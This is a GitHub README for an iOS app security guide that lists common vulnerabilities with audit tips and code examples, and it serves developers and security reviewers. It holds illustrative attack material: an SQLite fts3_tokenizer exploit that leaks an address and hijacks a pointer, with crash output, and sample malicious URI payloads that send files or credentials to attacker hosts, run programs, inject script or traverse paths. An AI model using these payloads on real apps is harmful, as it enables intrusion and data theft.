- Notifications
You must be signed in to change notification settings - Fork107
Collection of the most common vulnerabilities found in iOS applications
felixgr/secure-ios-app-dev
Folders and files
| Name | Name | Last commit message | Last commit date | |
|---|---|---|---|---|
Repository files navigation
This guide is a collection of the most common vulnerabilities found in iOS applications. The focus is on vulnerabilities in the applications’ code and only marginally covers general iOS system security, Darwin security, C/ObjC/C++ memory safety, or high-level application security.
Nevertheless, hopefully the guide can serve as training material to iOS app developers that want to make sure that they ship a more secure app. Also, iOS security reviewers can use it as a reference during assessments.
Just like any software, this guide will rot unless we update it. We encourage everyone to help us on that, just open an issue or send a pull request!
Generally, iOS provides easy-to-use cryptographic interfaces. Don’t implement custom crypto algorithms (besides crypto problems, it can also cause issues during App Store review).
Only supply cryptographically-strong random numbers to cryptographic functions.
Audit tip: Check that all cryptographically secure random numbers arefetched using the Randomization Services programming interface.
Correct example:
int r = SecRandomCopyBytes(kSecRandomDefault, sizeof(int), (uint8_t*) &res);When iOS backgrounds an app, a screenshot of the app used to get saved to anunencrypted cache on the local file system. This happens for example when the userpresses the home button. Apple recommends developers to hide any sensitiveinformation before this occurs. However, when testing iOS 10, the screenshotis stored in the encrypted app sandbox. Therefore it is less of a risk.
If the app is handling sensitive user data, verify that code exists to hide or blur the sensitive elements or the full window.
Audit tip: Check for hiding code in
applicationDidEnterBackground.
Alternatively, you can setallowScreenShot. UsingignoreSnapshotOnNextApplicationLaunch seems broken.
If the pasteboard is marked persistent it may get saved to local storage along withpotentially sensitive user data. Also, make sure to clear pasteboard when an application backgrounds.
Audit tip: Check for
UIPasteboardNameGeneral&UIPasteboardNameFind.
Some iOS versions cache keyboard entries for auto-correction. This is disabledfor password fields but should be disabled for other sensitive fields (e.g.credit card number) as well. Set the following to prevent this:
UITextField autoCorrectionType = UITextAutocorrectionTypeNoor mark the text field as secure (hidden input) with thesecureTextEntry attribute.
Audit tip: Check for sensitive non-password input fields (e.g. creditcard) which do not have
UITextAutoCorrectionNo.
During deserialization, some objects are re-instantiated in memory. Thus, if theserialized data originates from an untrusted source, code execution might be possible.
When writing your own classes, it is generally a good idea to comply with theNSSecureCoding protocol, to make sure that classes constructed from external sources are the intended class. It is also required by Apple for classes that are used with inter-application communication (UIActivityViewController).
Audit tip: Check for insecure deserialization from untrusted sources. Somedeserialization (
NSCoding,NSCoder) must have checks for the deserializeddata to be within bounds.
Audit tip: Other deserialization (
CFBundle,NSBundle,NSKeyedUnarchiverDelegate,didDecodeObject,awakeAfterUsingCoder) candirectly lead to code execution by returning different objects duringdeserialization.
Audit tip: Check that nib files are not dynamically loaded from untrustedorigins.
If attacker-supplied strings are concatenated to a SQL query, SQL injection on asqlite database may occur. This might leak sensitive information from thedatabase or inject malicious payloads.
Audit tip: Check for calls to
sqlite3_exec()and other non-prepared SQLfunctions. The functionssqlite3_prepare*()should be used instead.
Incorrect example:
NSString *uid = [myHTTPConnectiongetUID];NSString *statement = [NSStringStringWithFormat:@"SELECT username FROM userswhere uid = '%@'",uid];constchar *sql = [statementUTF8String];
Correct example:
constchar *sql ="SELECT username FROM users where uid = ?";sqlite3_prepare_v2(db, sql, -1, &selectUid,NULL);sqlite3_bind_int(selectUid,1, uid);int status = sqlite3_step(selectUid);
What's even worse, libsqlite3.dylib in iOS supportsfts3_tokenizer function, which has two security issues by design. This SQL function has two prototype:
SELECT fts3_tokenizer(<tokenizer-name>);SELECT fts3_tokenizer(<tokenizer-name>,<sqlite3_tokenizer_module ptr>);
The first from can be abused to leak the base address of libsqlite3.dylib, which breaks ASLR.
FMResultSet *s = [dbexecuteQuery:@"SELECT hex(fts3_tokenizer('simple')) as fts;"];while ([snext]) {NSString *val = [sstringForColumn:@"fts"];NSLog(@"val:%@", val);// the address of simpleTokenizerModule in libsqlite3.dylib, in big endian}
If the second argument is given, it registers a new tokenizer and the argument is the address of a virtual function table. This will lead to native code execution via SQLite3 callbacks:
[dbexecuteUpdate:@"select fts3_tokenizer('simple', x'4141414141414141');"];// a fake virtual table[dbexecuteUpdate:@"drop table a if exists;"];// in case the virtual table already extstFMResultSet *result = [dbexecuteQuery:@"create virtual table a using fts3;"];NSLog(@"%d", [resultnext]);// trigger pointer dereference
The crash information:
thread #1: tid = 0x19ac77, 0x0000000184530764 libsqlite3.dylib`___lldb_unnamed_symbol1073$$libsqlite3.dylib + 1500, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x4141414141414149)In order to make exploiting iOS applications harder for the attacker, make sure youenable platform exploit mitigation options.
Audit tip: Check that compiler and linker flags for exploit mitigationare enabled.
Flags to enable:
Objective-C automatic reference counting (
-fobjc-arc) helps to preventuse-after-free and use-after-release bugs. Enabling ARC might not be alwayspossible with shared code, performance-sensitive code, or legacy codebases.Check with:otool -I -v binary | grep _objc_autoreleaseStack smashing protection (
-fstack-protector-all). This potentially helpsto prevent stack buffer overflows. Check with (should be on by default):otool -I -v binary | grep stack_chk_guardFull ASLR - position independent executable (
-pie). This makes it harderfor the attacker to find known code locations. (Apple App Store guards thisfor iPhone 5+ targets). Check with (should be on by default):otool -hv binary | grep PIE
Static analysis can help to reveal memory leak, use-after-free,use-after-release, and other bugs.
Audit tip: Check the output of Xcode’s "Build & Analyze"
By default, iOS8+ allows third-party applications to override the built-inkeyboard with may leak keystrokes or words to untrusted parties. Depending onthe application risk profile, this may be both a Security and Compliance issue.This is how it can bedisabled in Swift.
By default,GTMSessionFetcherwon’t load any non-https URL schemes.
Audit tip: Check that no exceptions are made by using
allowedInsecureSchemes,allowLocalhostRequestorGTM_ALLOW_INSECURE_REQUESTS.
By default, apps linked against iOS 9 cannot make unprotectedHTTP connections. Review that the ATS configuration is correct.
Audit tip: Check that no exceptions are done in the
Info.plist.
Audit tip: Check that the list of HTTPS domains in the
Info.plistiscorrect.
In iOS 10, some new exceptions are available:
Exception for streaming media using
AVFoundationNSAllowsArbitraryLoadsInWebContentwill exempt ATS inWKWebView
SSL should be used on all communication to prevent attackers from reading ormodifying traffic on the network.
Audit tip: Check that all APIs besides local WebViews use SSL (httpsscheme, no http).
Audit tip: Check that authorization tokens are never be passed in URLs butonly in headers of HTTPS requests (e.g. as a Cookie header). The concern hereis that they are unintentionally logged on a ISP/company proxy or accidentallyleaked through referrers without the user’s knowledge.
Audit tip: Check that no debug options for SSL have been enabled in therelease build:
NSStream:
kCFStreamSSLLevelkCFStreamSSLAllowsExpiredCertificateskCFStreamSSLAllowsAnyRootkCFStreamSSLAllowsExpiredRootskCFStreamSSLValidatesCertificateChainNSURLRequest
setAllowsAnyHTTPSCertificateNSURLConnection
continueWithoutCredentialForAuthenticationChallengeValidatesSecureCertificatesetValidatesSecureCertificate
URI handlers are special entry points to the application and can be called fromemail, chat, browser or other applications. They can be used as delivery vehicles for attacks that exploit logic bugs, XSS, XSRF-style bugs or buffer-overflows.
Audit tip: Check for URI handlers registered and handled by theapplication (
registerForRemoteNotificationTypesandhandleOpenURL).
To illustrate the problem, some attack ideas that could be feasible:
myapp://cmd/run?program=/path/to/program/to/runmyapp://cmd/set_preference?use_ssl=falsemyapp://cmd/sendfile?to=evil@attacker.com&file=some/data/filemyapp://cmd/delete?data_to_delete=my_document_ive_been_working_onmyapp://cmd/login_to?server_to_send_credentials=malicious.webserver.commyapp://cmd/adduser='>"><script>javascript to run goes here</script>myapp://use_template?template=/../../../../../../../../some/other/fileAudit tip: Check that
userInfoandlaunchOptionsare validated duringparsing of URI request. For actions after the URL handler, it is important to ask user forconfirmation before taking action.
Additionally, note that other applications could be able to register the same URL handler and intercept requests. When passing highly sensitive information it is preferable to sign and/or encrypt URL handler-transmitted data to prevent leakage and/or forgery.
Audit tip: Check for outgoing requests made by an
UIWebView. Only acertain whitelist of schemes should be allowed (http/https) to avoidfile:,facetime:,facetime-audio:,sms:,or otherapp-id:URLs. Make sure to filtertel:URLs (or require user confirmation)because they can be used to automatically dial a cost incurring phone number.
The correct way to check an outgoing request is shown below:
- (BOOL)webView:(UIWebView *)webView shouldStartLoadWithRequest:(NSURLRequest *)request navigationType:(UIWebViewNavigationType)navigationType;
If you are usingWKWebView you'll need to use the-webView:decidePolicyForNavigationAction:decisionHandler: method in theWKNavigationDelegate protocol to catch requests like these.
Audit tip: Check for WebViews which would allow for browser UI redressing,for example a full screen WebView which could display an UI similar to theoriginal App or to a login screen. Such WebViews could be used by attackersto do phishing.
Audit tip: Check for WebViews which would allow browsing the web like abrowser but don't provide typical browser security UI like an URL barindicating the domain and TLS status. Also, make sure that if the WebView allowsbrowsing the web, common browser security feature like mixed-content preventionare still present in the WebView.
Audit tip: Check how the
UIWebView/WKWebViewis handling strings because attackssimilar to XSS can occur. An XSS in aUIWebViewcan potentially leak local files, forexample the address book and cookies. XSS inWKWebViewis more restricted becauseAllowUniversalAccessFromFileURLsandAllowFileAccessFromFileURLsare off by default.Also make sure that the WebView is not prone to redirection which can be utilized forphishing.
Audio tip: Check if file preview functionality is implement with UIWebView. It hasthe same impact with XSS, except the whole page is under control of attackers. Since theorigin is
file://, UIWebView allows read local files and send AJAX request to arbitrarythird party websites.Make sure to useQLPreviewControllerto preview file attachments. It disables javascript on iOS <=9, otherwise it uses WKWebViewwhich doesn't allow local file and cross domain internet access by default.
CF/NS strings contain NULL bytes at different locations. When an insecureconversion occurs a string could terminate early.
Audit tip: Check for incorrect conversion between the raw bytes of the
CFDataRef / CFStringRef / NSStringand C strings.
This example shows incorrect conversion:
NSString *fname =@"user_supplied_image_name\0";NSString *sourcePath = [[NSStringalloc]initWithFormat:@"%@/%@.jpg", [[NSBundlemainBundle]resourcePath], fname];printf("%s", [sourcePathUTF8String]);// prints [...]Products/Debug/user_supplied_image_name without the .jpg ending
Format string attacks can be mounted on traditional functions (printf,scanf,syslog, etc.), but also on iOS platform functions. The Xcode Build & Analyzeoption should catch most missing format strings.
Audit tip: Check for missing format strings for the following functions:
CFStringCreateWithFormatCFStringCreateWithFormatAndArgumentsCFStringAppendFormat[NSString stringWithFormat:]and otherNSStringmethods that takeformatted strings as arguments:[NSString initWithFormat:][NSString *WithFormat][NSString stringByAppendingFormat]appendingFormatWrong example:
[x stringByAppendingFormat:[UtilityClass formatStuff:attacker.text]];Correct example:
[x stringByAppendingFormat:@"%@", [UtilityClass formatStuff:attacker.text]];
[NSMutableString appendFormat][NSAlert alertWithMessageText][NSPredicate predicateWithFormat:][NSPredicate predicateWithFormat:arguments:][NSException raise:format:]and[NSException raise:format:arguments:]NSRunAlertPaneland other Application Kit functions that create or returnpanels or sheets[NSLog]
Keep the following in mind if you're developing iOS apps with Swift:
- Swift uses Automatic Reference Counting (ARC) by default, which is very helpful.
- If string interpolation is used, there is no risk of a format string attack.
- An integer overflow causes a runtime error.
- Buffer overflows generally cannot occur due to lack of pointers, except when
UnsafePointeris used for C-compatibility.
Also, when handling sensitive memory, be aware that Swift won’t easily let youerase sensitive data, e.g. passwords. One way to do this is to useUnsafeMutablePointer or anUnsafeCollection (seeSecure Memory for SwiftObjectsfor more information).
- KeychainServices
- Encrypted key/value store designed to hold:
- Generic passwords
- Internet passwords (password + protocol + server)
- Certificates
- Private Keys
- Identities (certificate + private key)
- Max raw value size is ~16MB.
- Keychains may be shared (this is how SSO works on iOS) or private to theapp.
- Keychains can only be shared by apps from the same vendor.
- Enterprise/Dogfood apps have a different vendor ID compared to Prod.
- Encrypted key/value store designed to hold:
Your application has access to its own app-specific filesystem sandbox; pleaserefer to Apple’sFile System ProgrammingGuide(specifically, the iOS sections) for more details.
- Documents/
- User-created data that should be visible to the user
- Optionally visible to the user in iTunes
- Subdirectories generally aren’t, special tools can still open them
- Backed up
- User can disable backup for specific apps
- App can disable paths by setting
NSURLIsExcludedFromBackupKey
- Library/Caches/
- Semi-persistent cached files
- Not visible to the user
- Not backed up
- May be deleted by the OS at any time if the app is not running
- Managed automatically in response to storage pressure
- Library/Application Support/
- Persistent files necessary to run the app
- Not visible to the user
- Backed up
- User can disable backup for specific apps
- App can disable paths by setting
NSURLIsExcludedFromBackupKey
- Library/Preferences/
- As /Application Support/
- By convention, only files created with
NSUserDefaults
- Library/*
- As /Application Support/
- tmp/
- Non-persistent cached files
- Not visible to the user
- Not backed up
- Periodically deleted by the OS when the app is not running
The keychain, on modern iOS devices (post-Touch ID) is secured using ahardwaremodule.There are no known attacks that directly compromise the keychain via hardware orsoftware; jailbroken devices are vulnerable to certain attacks.
Keychain backups (to iCloud) cannot be recovered without the user’s iCloudpassword. Keychain data is not included in local backups unless that backup isencrypted with a password.
Yes, the OS provides four levels of protection. Note that backups to iCloud arealways encrypted and that backups in iTunes are optionally encrypted;unencrypted backups do not back up data marked in any of the protected classesbelow. The device’s filesystem is encrypted on modern iOS on the DMA path; theseoptions add extra layers of security.
NSFileProtectionComplete- most secure- Only readable if device is unlocked.
- File is closed when the device is locked.
- Suitable for most apps and data.
NSFileProtectionCompleteUnlessOpen- File can only be opened when the device is unlocked.
- File is not closed when the device is locked.
- File is encrypted when the last open handle is closed.
- Suitable for data that is uploaded in the background, etc.
NSFileProtectionCompleteUntilFirstUserAuthentication(default)- File is inaccessible until the device is unlocked once after boot.
- Suitable for background processes that should start ASAP after boot.
- Geofence data
- Bluetooth accessories (e.g. Android Wear)
- In general, all user data should be at least at this level.
NSFileProtectionNone- least secure- No protection.
- Suitable for certain applications that must access data immediately onboot without any user interaction. This encryption/decryption ishandled by the OS and the keychain transparently. The relevantdecryption key is created from the keychain when appropriate and erasedfrom memory when appropriate; seethisguidefor more details.
- Sensitive and persistent data - credentials, tokens, etc? Keychain.
- Large sensitive and persistent files?
- Save it to the
Library/*directory. - Exclude it from backups.
- Keychain backups have a higher level of security than filesystembackups.
- Set appropriate encryption options - as secure as possible.
- Save it to the
- Sensitive cache data?
- Save it to
Library/Caches/* - Set appropriate encryption options - as secure as possible.
- Save it to
- Application configuration?
NSUserDefaults?Library/Preferences/[Name].plist- Other/custom format?
Library/Application Support/* - Set appropriate encryption options - as secure as possible.
- Persistent content that should be backed up?
- User-generated and user-visible?
Documents/*directory.- Don’t use subdirectories if you want users to use iTunes filesharing.
NSFileProtectionCompleteUntilFirstUserAuthenticationis probablythe most appropriate option for encryption, if desired.- Note that malware on a trusted computer can access thisdirectory if iTunes file sharing is enabled.
- Shouldn’t be visible to the user?
Library/Application Support/*- Set appropriate encryption options.
- User-generated and user-visible?
A stolen or lost iOS device can be potentially jailbroken or disassembled and thecontents of the local file system can be read. Therefore iOS app developers needto make sure to encrypt sensitive information like credentials or other privateinformation.
Keychain already allows you to prevent items from ever leaving the device or beincluded in backups.
In addition to that:
- Items can be made to require user consent when accessed;
- That consent can be set to Touch ID with the device password as fallback;
- Items can be made inaccessible if passcode is removed.
The safest scenario would require flagging items as device-only, requiring TouchID for access, and invalidated if passcode is ever removed.
Remember: you can also store any piece of text in Keychain, not just usernameand password credentials. Apple uses this to synchronize Wifi credentialsbetween devices so that when you connect your laptop to a network, your phonewill be able to as well a few seconds later when synchronization finishes,saving you from entering those long passwords on your phone. For moreinformation on the details check out theApple iOS Security whitepaper.
Audit tip: Check for stored data which is not using
kSecAttrAccessibleWhenUnlockedorkSecAttrAccessibleAfterFirstUnlock. Forexample, if it is usingkSecAttrAccessibleAlways, then the data is notsufficiently protected.
Audit tip: Check for files created with
NSFileProtectionNone- theyhave no protection. Note that files created without explicit protection donot necessarily useNSFileProtectionNone. Make sure one of the following isused:
NSFileProtectionCompleteNSFileProtectionCompleteUnlessOpen(key stays in memory while locked andfile opened)NSFileProtectionCompleteUntilFirstUserAuthentication(key stays inmemory when locked)
Audit tip: Check that secure temporary files and directories are used -for example,
URLForDirectory,NSTemporaryDirectory,FSFindFolder(kTemporaryFolderType). See alsoCreate Temporary FilesCorrectlyin the Apple Secure Coding Guide.
Audit tip: Check for private information (PII) in NSLog/Alog, plist orlocal sqlite databases. It may not be encrypted. Logging is encrypted as of iOS 10.
Audit tip: Check that only appropriate user-specific non-sensitiveinformation is written to iCloud storage. Use
NSURLIsExcludedFromBackupKeytoprevent backup of files to iCloud and iTunes.
Audit tip: For the Keychain, check that
kSecAttrSynchronizableis falseif the item is not intended for iCloud Keychain backup (it is false bydefault).
Audit tip: Check thatNSUserDefaultsdoes only contain settings and no personal information.
Checking whether a device is jailbroken can be helpful to make certain in-app security decisions. Attackers can run tools like Cycript, Frida, GDB, or Snoop-it to perform runtime analysis and steal sensitive data from within your application. Jailbreak detection can prevent that.
Audit tip: Test that the app is not working on jaibroken devices.
About
Collection of the most common vulnerabilities found in iOS applications
Topics
Resources
Uh oh!
There was an error while loading.Please reload this page.
Stars
Watchers
Forks
Releases
Packages0
Contributors7
Uh oh!
There was an error while loading.Please reload this page.